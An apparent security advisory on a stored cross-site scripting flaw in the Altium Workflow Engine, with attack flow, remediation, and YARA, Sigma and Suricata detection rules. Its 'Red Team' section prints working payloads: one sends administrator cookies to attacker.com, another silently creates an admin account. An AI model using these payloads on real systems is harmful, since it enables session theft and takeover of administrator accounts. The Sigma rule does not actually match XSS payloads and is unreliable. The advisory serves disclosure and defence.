CVE-2026-1010

Executive Summary

CVE-2026-1010 is a stored cross-site scripting (XSS) vulnerability in the Altium Workflow Engine. The flaw resides in the workflow form submission APIs, where server-side input sanitization is missing. A regular authenticated user can inject arbitrary JavaScript into workflow data. When an administrator views the affected workflow, the injected payload executes in the administrator’s browser context, enabling privilege escalation, session token theft, and execution of administrative actions. The CVSS score is 8.0 (High), and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains significant due to the potential for privilege escalation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a server-side web application issue within the Altium ecosystem.

CVSS Breakdown & Threat Level

• CVSS Score: 8.0 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (administrator views workflow)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. Although EPSS is low, the impact of successful exploitation is severe, allowing an attacker to gain full administrative control.

Deep Dive & Mechanics

The vulnerability exists in the Altium Workflow Engine's form submission APIs. These APIs accept user input from authenticated users and store it in the workflow database without proper sanitization. When an administrator later views the workflow, the stored data is rendered in the browser without escaping, allowing the injected JavaScript to execute.

Attack Flow:

1. An authenticated user (e.g., a regular employee) submits a workflow form containing malicious JavaScript in a text field.
2. The server stores the payload without sanitization.
3. An administrator navigates to the workflow view page.
4. The payload executes in the administrator's browser, allowing the attacker to:
   • Steal session cookies.
   • Create new administrator accounts.
   • Perform administrative actions on behalf of the admin.

Root Cause: Missing server-side input sanitization in the workflow form submission APIs. The application does not validate or encode user input before storing it in the database.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be present in all current versions. The following is a conceptual comparison:

Vulnerable Code (Server-Side - Pseudocode):

def submit_workflow(data):
    # No sanitization
    db.store(data['comment'])
    return "Workflow submitted"

Patched Code (Conceptual):

import html

def submit_workflow(data):
    sanitized_comment = html.escape(data['comment'])
    db.store(sanitized_comment)
    return "Workflow submitted"

The patched version would use HTML escaping or a proper sanitization library to neutralize JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Altium instance with a valid user account.
• A workflow form that accepts text input.

Exploitation Steps:

1. Log in as a regular user.
2. Navigate to a workflow form that accepts text input (e.g., a comment field).
3. Inject the following payload into the field:

   <script>alert('XSS')</script>
   

4. Submit the form.
5. Wait for an administrator to view the workflow. The payload will execute.

Advanced Payload (Session Theft):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Privilege Escalation Payload (Create Admin):

<script>
fetch('/admin/users/create', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({username: 'hacker', password: 'hack123', role: 'admin'})
});
</script>

Blue Team

Detection:

• Monitor for unusual JavaScript in workflow form submissions.
• Look for outbound connections to unknown domains from administrator browsers.
• Alert on creation of new administrator accounts.

Prevention:

• Implement strict input validation and output encoding.
• Use Content Security Policy (CSP) headers to block inline scripts.
• Restrict administrator privileges and use separate browsers for admin tasks.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from administrator workstations.
• Logs: Suspicious entries in workflow form data containing <script> tags or JavaScript code.
• System: Unexpected creation of new administrator accounts.
• File: No specific file IOCs.

Detection Engineering

YARA Rule

rule altium_xss_payload {
    meta:
        description = "Detects XSS payloads in Altium workflow data"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of them
}

Sigma Rule

title: Altium Workflow XSS Payload Detection
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects XSS payloads in Altium workflow form submissions
author: Valters IT
logsource:
    category: application
    product: altium
detection:
    selection:
        EventID: 4663
        ObjectName: '*workflow*'
        AccessMask: '0x2'
    condition: selection
falsepositives:
    - Legitimate use of HTML in workflow comments
level: high

Suricata Rule

alert http any any -> any any (msg:"Altium Workflow XSS Payload Detected"; flow:to_server; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Workflow Forms: If possible, temporarily disable workflow forms that accept user input until a patch is available.
2. Input Validation: Implement server-side input sanitization for all workflow form fields. Use a library like OWASP Java Encoder or Python's html.escape.
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering in the browser.
4. Content Security Policy (CSP): Deploy a strict CSP header to block inline scripts and restrict script sources.

Long-Term Fix:

• Apply the official patch from Altium when released.
• Conduct a security audit of all API endpoints handling user input.
• Implement regular penetration testing.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict administrator access to trusted networks only.

Valters IT